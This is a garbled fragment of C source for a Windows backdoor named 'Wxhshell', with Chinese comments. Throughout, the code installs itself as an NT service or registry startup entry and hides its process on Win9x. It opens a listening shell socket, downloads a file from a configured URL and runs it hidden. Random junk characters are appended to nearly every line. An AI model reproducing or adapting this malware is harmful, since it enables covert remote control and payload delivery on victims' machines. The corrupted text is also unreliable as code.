} PROCESS_BASIC_INFORMATION; %_)b>C18y
DP0Z*8Ia
PROCNTQSIP NtQueryInformationProcess; 3<3t;&e
Z@u ;Z[@
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]o `4Z"
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?`"<DH~:0B
Bu':2"7
HANDLE hProcess; t"tNtLI
PROCESS_BASIC_INFORMATION pbi; q 7`
}-dF+m:
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); v|>BDN@,6
if(NULL == hInst ) return 0; tpE3|5dZF
g&P9UW>qS
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -: C[P
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [RW,{A
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); F=VoFmF@
f)WPOTEY
if (!NtQueryInformationProcess) return 0; pRmE ryR(U
sY_fq.Z
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); aC4m{F[
if(!hProcess) return 0; pIL`WE1'
*6'_5~G
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; hl}dgp((
m8p4U-*j
CloseHandle(hProcess); ^,>}%1\
(KZUvsS k
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )2/b$i,JKk
if(hProcess==NULL) return 0; %$^$'6\77
>[hrJn[
HMODULE hMod; g*^wF?t'T
char procName[255]; uz8nRS s
unsigned long cbNeeded; }WoX9M; 1
8`6
LMQ
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); xR _DY'z
RR8U
Cv
CloseHandle(hProcess); 3EO#EYAHiM
Q:rT 9&G
if(strstr(procName,"services")) return 1; // 以服务启动 ;>sq_4_
[]!tT-Gzy
return 0; // 注册表启动 cz$c)It
} jjNxatAN
H9/XW6W,"w
// 主模块 v#w4{.8)
int StartWxhshell(LPSTR lpCmdLine) PVS\,
{ |I4D(#w.
SOCKET wsl; f.sPE8#3=
BOOL val=TRUE; 0GF%~6
int port=0; s8C:QC
struct sockaddr_in door; UX03"gX
e$gaE</
if(wscfg.ws_autoins) Install(); UqY J#&MqY
]rKH|i
port=atoi(lpCmdLine); P"U>tsHK:
[qq`cT@
if(port<=0) port=wscfg.ws_port; dV'6m@C
L>eQ*311
WSADATA data; l@(t^68OD
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Z(#XFXd
/%c+
eL}l
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; <1v{[F_
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 'Wd3`4V$
door.sin_family = AF_INET; ikeJDKSG
door.sin_addr.s_addr = inet_addr("127.0.0.1"); @?(nwj~ s`
door.sin_port = htons(port); +
?[ ACZF
QJb7U5:B+
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `1}HWLBX.
closesocket(wsl); # r2$ZCo3o
return 1; m/SJ4op$
} ,%&
LG],6
Aigcq38
if(listen(wsl,2) == INVALID_SOCKET) { \>&@lA
closesocket(wsl); V7qCbd^>XJ
return 1; Nu>sp,|A
} 2X
qPZ]2g
Wxhshell(wsl); 17?NR\Q
WSACleanup(); 7]R6
btJ,dpir
return 0; N4[B:n
R;5QD`
} wR`w@5,d
ZP]2/;h
// 以NT服务方式启动 U0lqGEZ
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ]0at2
{ My`josJ`Pb
DWORD status = 0; $fq-wl-=
DWORD specificError = 0xfffffff; n3-GnVC][
(Q*2dd>
serviceStatus.dwServiceType = SERVICE_WIN32; LbLbJ{68
serviceStatus.dwCurrentState = SERVICE_START_PENDING; T +|J19
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >"2\D|-/
serviceStatus.dwWin32ExitCode = 0; 5pN08+
serviceStatus.dwServiceSpecificExitCode = 0; Off: ~
serviceStatus.dwCheckPoint = 0; E1mI Xd;.
serviceStatus.dwWaitHint = 0; BZnp
#}f
GFSlYG
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); OgzGkc@A
if (hServiceStatusHandle==0) return; nA{ncTg1\
98"z0nI%
status = GetLastError(); sYW1T @
if (status!=NO_ERROR) 4okHAv8;
{ n]kQtjJ
serviceStatus.dwCurrentState = SERVICE_STOPPED; fS8XuT
serviceStatus.dwCheckPoint = 0; 8 RzF].)
serviceStatus.dwWaitHint = 0; k}+MvGq
serviceStatus.dwWin32ExitCode = status; HZ[68T[8b
serviceStatus.dwServiceSpecificExitCode = specificError; %Hh &u
.
SetServiceStatus(hServiceStatusHandle, &serviceStatus); <
|]i
return; Rz])wBv e
} S|z(
=X%R*~!#Of
serviceStatus.dwCurrentState = SERVICE_RUNNING; !/=9VD{U!
serviceStatus.dwCheckPoint = 0; =l?"=HF
serviceStatus.dwWaitHint = 0; qW` XA
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "OlI-^y
} ys~p(
NUxAv= xl
// 处理NT服务事件,比如:启动、停止 .wt>.mUH
VOID WINAPI NTServiceHandler(DWORD fdwControl) 9phD5b~j
{ 9>}(]T
switch(fdwControl) |{}d5Z"5;}
{ ?$`1%Y9
case SERVICE_CONTROL_STOP: KqG$zC^N
serviceStatus.dwWin32ExitCode = 0; 7oqn;6<[>,
serviceStatus.dwCurrentState = SERVICE_STOPPED; c=jTs+h'
serviceStatus.dwCheckPoint = 0; *n$m;yI
serviceStatus.dwWaitHint = 0; z!Pdivx
{ i85+p2i7
SetServiceStatus(hServiceStatusHandle, &serviceStatus); p0:&7,+a,
} 4u{E D(
return; eF gb6dSh
case SERVICE_CONTROL_PAUSE: cE_Xo.:Y,
serviceStatus.dwCurrentState = SERVICE_PAUSED; :Z7"c`6L!~
break; x"h)"Y[c5
case SERVICE_CONTROL_CONTINUE: :a^,Ei-&
serviceStatus.dwCurrentState = SERVICE_RUNNING; gw}7%U`T9
break; zN729wK
case SERVICE_CONTROL_INTERROGATE: {) '"
k6w
break; ^0,&R\e+
}; L;(3u'
SetServiceStatus(hServiceStatusHandle, &serviceStatus); <|>:UGAR
} '8kL1
j_YZ(: =
// 标准应用程序主函数 5D02%U2N)G
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) G3^n_]Jb
{ bW 79<T'+
ko7-%+0|]
// 获取操作系统版本 j)lM:vXR
OsIsNt=GetOsVer(); 6lH>600]u
GetModuleFileName(NULL,ExeFile,MAX_PATH); @Tm0T7C
0I
ND9h.%
// 从命令行安装 Z:o'
+oh
if(strpbrk(lpCmdLine,"iI")) Install(); v'2OHb#
\VhpB
// 下载执行文件 ah&plaVzC
if(wscfg.ws_downexe) { "351s3ff
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #VMBn}
WinExec(wscfg.ws_filenam,SW_HIDE); N%M>,wT
} EF7|%N
fAA@ziKg
if(!OsIsNt) { ss M9t
// 如果时win9x,隐藏进程并且设置为注册表启动 d9e H}#OY
HideProc(); JwG5#CFu^
StartWxhshell(lpCmdLine); JD\-X(O
}
;] `NR
else 3Jk?)Dy
if(StartFromService()) :N'[de
// 以服务方式启动 h}VYA\+<B
StartServiceCtrlDispatcher(DispatchTable); jJ{
w -$
else iTBhLg,
// 普通方式启动 ^Ihdq89 t
StartWxhshell(lpCmdLine); JcALFKLB
URzE+8m^
return 0; fN? Lz%z3
}